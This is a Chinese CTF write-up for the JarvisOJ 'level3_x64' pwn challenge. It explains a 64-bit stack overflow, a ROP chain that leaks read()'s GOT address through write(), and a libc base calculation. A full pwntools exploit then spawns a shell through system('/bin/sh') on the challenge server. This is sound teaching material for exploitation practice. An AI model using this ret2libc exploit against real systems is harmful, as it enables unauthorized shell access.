[JarvisOj](pwn)level3_x64

96
王一航
2017.03.14 18:21* 字数 476

简介 :

项目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn题目及 writeup 汇总)
下载地址 : https://dn.jarvisoj.com/challengefiles/level3_x64.rar.8e639c3daf929853a1bc654d79c7992c```

---
####地址 : 

nc pwn2.jarvisoj.com 9883


---
####分析 : 

该题和 level3 的代码相比 :

  1. 少了在 read() 函数之前调用 write() 函数
  2. 64 位函数调用需要使用寄存器传参
    我们可以利用 read() 函数先溢出修改返回地址到 .plt 表中的 write() 函数
    这样我们就可以通过构造 write() 函数的调用栈来打印出 got 表中 read() 或者 write() 函数的地址
    那么我们知道了地址 , 就可以通过 libc 来寻找到 system() 函数的偏移地址了
    然后再构造 sytem() 的调用栈
    但是这里存在一个问题 :
    当我们想要构造 write() 函数的调用栈的时候 , 参数的传递需要通过寄存器传参的方式进行
    也就是说要调用 write(0, read_got, 0x08)
    我们需要将 :
    rdi 设置为 0
    rsi 设置为 read() 函数在 got 表中的地址
    rdx 设置为 0x08
    我们来通过 ropper 来寻找一下 pop rdi; ret 指令 , 发现可以成功在可执行程序中找到
    pop rsi; ret 也可以顺利找到
    但是 pop rdx; ret 却找不到 , 这个时候应该怎么办呢 ?
    如果我们不设置 rdx寄存器的值的话 , 那在 write() 调用的时候就会直接取得 rdx 之前的值
    我们可以考虑一下 , 我们这里只需要获取 write() 返回的前八个字节作为地址
    那么就算打印的数据较多 , 也并不会影响什么 , 只需要能保证 rdx 寄存器的值大于 8 即可
    经过调试发现这里 rdx 的值确实是大于 8 的 , 这样我们就只需要接收前八个字节作为地址即可
    这样就 leak 出了 libc 中 read 函数的真实地址 , 接下来就比较常规了
    system 只需要传递一个参数 , 直接使用之前的 pop rdi 即可

---
####利用代码 : 
```python
#!/usr/bin/env python
# encoding:utf-8

from pwn import *

#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ readelf -a libc-2.19.so | grep " read@"
#   883: 00000000000eb6a0    90 FUNC    WEAK   DEFAULT   12 read@@GLIBC_2.2.5
#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ readelf -a libc-2.19.so | grep " system@"
#  1337: 0000000000046590    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ readelf -a libc-2.19.so | grep " exit@"
#   126: 000000000003c1e0    21 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.2.5
#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ strings -a -t x libc-2.19.so | grep "/bin/sh"
# 17c8c3 /bin/sh

read_libc_address = 0xeb6a0
bin_sh_libc_address = 0x17c8c3
system_libc_address = 0x46590
exit_libc_address = 0x3c1e0

payload = "A" * 0x80 + "BBBBBBBB"
payload += p64(0x4006b3) # pop rdi;ret
payload += p64(0x01) # stdin; 1st argv for write()
payload += p64(0x4006b1) # pop rsi;ret
payload += p64(0x600A60) # .got.plt read(); 2nd argv for write()
payload += p64(0) # junk
# I assuming that rbx is bigger than 8 , and in fact it is so.
#payload += p64(0x1b92) # pop rdx;ret
#payload += p64(0x10) # write 4 bytes; 3rd argv for write()
payload += p64(0x4004B0) # write() .plt
payload += p64(0x4005E6) # vulnerable_function()

Io = remote("pwn2.jarvisoj.com", 9883)
# Io = process("./level3_x64")
Io.recvuntil("Input:\n")

Io.send(payload)

temp = Io.recv(8)

read_address = u64(temp[0:8]) 
offset = read_address - read_libc_address

bin_sh_address = offset + bin_sh_libc_address
system_address = offset + system_libc_address
exit_address = offset + exit_libc_address

payload = "A" * 0x80 + "BBBBBBBB"
payload += p64(0x4006b3) # pop rdi;ret
payload += p64(bin_sh_address) # /bin/sh ; argv for system()
payload += p64(system_address) # address of system()
payload += p64(exit_address)

Io.send(payload)

Io.interactive()
CTF
Web note ad 1